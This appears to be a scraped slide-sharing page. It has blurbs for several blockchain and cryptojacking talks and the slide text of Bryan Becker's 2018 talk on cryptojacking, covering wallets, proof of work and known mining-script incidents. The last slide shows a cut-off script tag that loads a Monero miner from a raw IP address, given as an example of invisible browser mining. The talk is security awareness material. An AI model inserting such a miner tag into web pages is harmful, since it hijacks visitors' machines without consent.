Bryan Becker's talk at the 2018 RMISC discussing the changing types of attacks focusing on "cryptojacking" and the future challenges for blockchain security.
Senior Network Analyst Warren Finch discussed the use of web-based crypto miners and how the crypto miners could be used maliciously for crypto jacking at PacNOG 23 in the Marshall Islands from 3 to 7 December 2018.
Driven by recent increases in cryptocurrency values, Cryptojacking is poised to be a center of conversation. It’s one of the latest innovations in hacking in which a victim’s computer is enlisted to mine cryptocurrency. Unlike ransomware, this attack steals processor cycles in an attempt to mine Monero and other currencies, typically without the user’s knowledge or consent.
In this presentation, you will learn what is cryptojacking? How to detect, prevent & recover from it? What are the latest news related to cryptojacking?
This is about what is threat hunting and how to perform it in cyberworld. Our traditional detection systems are being bypassed and we need modern approach to detect & respond to modern day threats.

Governments are starting to realise that blockchain technology holds promise and offers opportunities for innovation in its methods of interaction with citizens and building digital services. Also referred to as ‘distributed ledger technology’, the blockchain is a way of recording information in a linear manner, somewhat like a database. Protected using encryption, each part of the chain is digitally signed for non-repudiation of the information therein. For example, cryptocurrencies, such as Bitcoin, use a blockchain based on a decentralized model, replacing the traditional middleman of current banking processes, and as a result making it a more seamless and potentially faster way to transact money or data.
A Primer on Blockchain and its Potential, with a Focus on the GCCZeyad T. Al Mudhaf
During my summer internship at BECO Capital, a technology-focused Venture Capital firm based in Dubai, I put together this primer on blockchain that demystifies this hyped up technology, covers key investment trends in the space both globally and regionally within the GCC*, and highlights both the barriers and enablers for wider blockchain adoption in the region. *The GCC is the Gulf Cooperation Council - comprised of the United Arab Emirates, Saudi Arabia, Kuwait, Bahrain, Qatar, and Oman.

WHAT IS CRYPTOCURRENCY EXPECTED APPLICATIONS.Qutomatic
WHAT IS CRYPTOCURRENCY EXPECTED APPLICATIONS.
Since the introduction of Bitcoin in 2009 and cryptocurrencies in general, the use of digital currencies has
continued to grow. Early adopters utilized personal computers to complete the necessary steps that would result
in new digital “coins”. Commercial deployment of specialized mining servers, and introduction of mining farms,
followed shortly after.
An Investigator’s Guide to Blockchain, Bitcoin and Wallet TransactionsCase IQ
As Bitcoin and blockchains are coming into the mainstream, investigators, auditors and forensics and security professionals need to become familiar with how blockchain works and why it is so important to tomorrow’s digital security. It is important for anyone involved in forensics to understand the risk associated with Bitcoin, the most notable usage of blockchain and how applying forensics to those risks can have an impact.
Bitcoin has huge potential to revolutionize financial services, but with risk, as is implicit with any currency. We need to understand how forensic technology can reduce these risks or solve problems of financial loss should these risks materialize. Technology helps us follow flows of cryptocurrencies through wallets and the blockchain. This can be of particular use to regulators and police forces as well as investigators and auditors.

Abstract
In the year 2018, we have witnessed the surge and the fall of crypto-currencies. With the surge, blockchain the new technology behind cryptocurrencies, and its idealistic footprint of advanced thoughts, blockchainism it can be perhaps called, came to enthrall our minds. Thousands of new ambitious projects have been conceived and fast activated with the worldwide frenzy of new funding through initial coin offerings a novel funding mechanism in the blockchain world. Decentralized societies, equal accesses to valuable resources, reducing the cost of middleman, freed individuals from hierarchical organizations, and reducing the spread in inequalities are some of those advanced thoughts. But the fall came; the market value for Bitcoin has collapsed more than 7 times from its peak-value; that of Ethereum has plummeted more than 12 times. These two power houses which have supported those progressive projects are now torn apart. Recent New York Times report reads, “Blockchain: What’s it good for? Absolutely nothing, report finds.” Another one reads, The Blockchain Is a Reminder of the Internet’s Failure. The same utopian promises that bloomed during the Internet’s early days are back. Be afraid.“ Should this be the end of our pursue to change and make a better world with blockchains? Obviously not. In this presentation, I would like to talk about the reality of blockchain technology and how distant it is from the ideals. With this accessment, I would like to present some of novel research progresses we made in year 2018 and talk about further research ideas to pursue in year 2019.
Smart Contracts - The Blockchain Beyond BitcoinJim McKeeth
A smart contract is a program that runs on the blockchain. This session is a technical look at the blockchain and smart contracts from a programmer's perspective. We will start with the basics of the blockchain and work our way up through the EVM and smart contract standards. Then we will discuss alternative blockchains and the options they provide. While smart contracts are the basis of NFTs and Distributed Finance (DiFi), this session's focus is on technology and will explore many potential uses, including an introduction to Solidity and other smart contract programming languages.

2. Preliminaries
▪ Bryan Becker, CISSP, CCSP
▪ More Futurist, less Crypto-Maximalist
▪ Terrified of CRISPR
▪ All opinions my own and not that of my
employer.
▪ DISCLAIMER: Bad Words!
▪ I Promise.
▪ Slap me if I talk about bitcoin price.
▪ None of this should be considered financial
advice.
3. Agenda
▪ CryptoJacking and newer, rebranded attacks against companies with efforts to
exploit resources using blockchain public chains and technologies.
▪ Are we ready for an “Internet of Literal Things Encapsulated in Tokens” revolution
from a security perspective?
4. Top 5 Uses of Public Blockchain Tokens!
▪ GIVEAWAY
▪ #5 – Useless Ethereum Token (UET)
▪ FAQ: “Wait … is this a joke? Is it a scam? Neither! This is real — and it’s 100%
transparent. You’re literally giving your money to someone on the internet and getting
completely useless tokens in return.”
▪ #4 -- SpankChain
▪ #3 -- PotCoin
▪ #2 – C**kBlockChain
▪ #1 -- F*ckToken -- $0.00005.
7. Blockchain Fundamentals - “What is a Wallet”
▪ AN INTERFACE WHICH INTERACTS WITH A BLOCKCHAIN.
▪ It doesn’t store money, it stores and interacts private keys .
▪ It’s not a “place”, it’s an interface to pub/private key pairs to handle crypto assets.
▪ It can be…
▪ As simple as a piece of paper
▪ A fat client
▪ Mobile App
▪ Browser Extension
▪ Hardware token
8. How Proof of Work Consensus Works
▪ Transactions get broadcasted to a
node
▪ Node adds transaction to a block
(small file of transactions)
▪ All other validators do math during
the blocktime.
▪ One validator wins the block
discovery, adds the block to the
chain, and “wins” the lottery for
freshly minted tokens for security
incentive for ”Proof of Work”
10. CryptoJacking History
▪ Bitcoin browser-based mining: A thing since 2011.
▪ No ASICS
▪ Bitcoin was cheap and mining was profitable (don’t slap me!)
▪ Bitcoinplus.com
▪ Mostly disappeared with the onset of new technology.
▪ More things change, the more they stay the same…
11. Current Risk: CryptoJacking
▪ CryptoJacking a.k.a. Harvest of distributed computing resources (CPU, Memory, Disk,
Bandwidth) for financial gain of attacker.
▪ With the coin mining gold rush, cryptojacking attacks skyrocketed 8,500 percent
▪ DRUPALGEDDON 2: 400 Drupal Websites hit using latest vuln.
▪ Shopify Plugin creates 5 iFrames which mines Monero.
▪ Showtime, UFC.TV.
▪ Weatherfor.us plugin for websites injects mining scripts.
▪ Fileless malware Ghostminer kills other cryptojacking competitors and mines in
memory and is nearly undetectable.
▪ CoinHive == CryptoJacking as a Service (CJaaS?)
12. It’s Literally This Easy (Invisible Browser Mining)
<script type='text/javascript' src='http://174.138.43.214/wp-
content/plugins/simple-monero-miner-coin-hive/js/smmch-
